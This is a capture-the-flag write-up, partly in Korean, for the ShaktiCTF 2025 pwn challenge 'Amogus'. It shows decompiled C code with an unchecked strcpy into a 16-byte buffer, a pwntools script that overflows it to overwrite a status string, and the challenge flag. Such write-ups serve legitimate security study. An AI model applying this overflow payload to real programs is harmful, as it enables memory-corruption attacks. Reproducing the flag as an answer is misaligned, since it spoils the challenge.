Home
System Hacking
😶‍🌫️

[ShaktiCTF 2025][Pwn] Amogus

Type
CTF
년도
2025
Name
ShaktiCTF
분야
System
세부분야
BOF
2025/07/28 00:40
1 more property

# Description

I always end up dying in this Amogus game... before I even get a chance to properly play! Ugh! Is there any way I can escape this cruel fate? Author : omelette_keychain
Plain Text
복사

# 분석

코드를 간소화 하면 아래와 같다.
void gameplay(char *iuput) { char dest[16]; char v4[16]; strcpy(v4, "DEAD"); strcpy(dest, input); if (!strcmp(v4, "ALIVE")) { printtf("FLAG"); } } int main() { __isoc99_scanf("%s", input); gameplay(input); }
C
복사
간단한 Buffer Overflow 문제다.

# Payload

from pwn import * filename = "./amogus" e = ELF(filename) p = process(filename) p.sendline(b"A"*0x10 + b"ALIVE") p.interactive()
Python
복사

# Flag

shaktictf{ch@ng3d_fat3_wh3n_I_s@w_r3d_v3nt_}
Plain Text
복사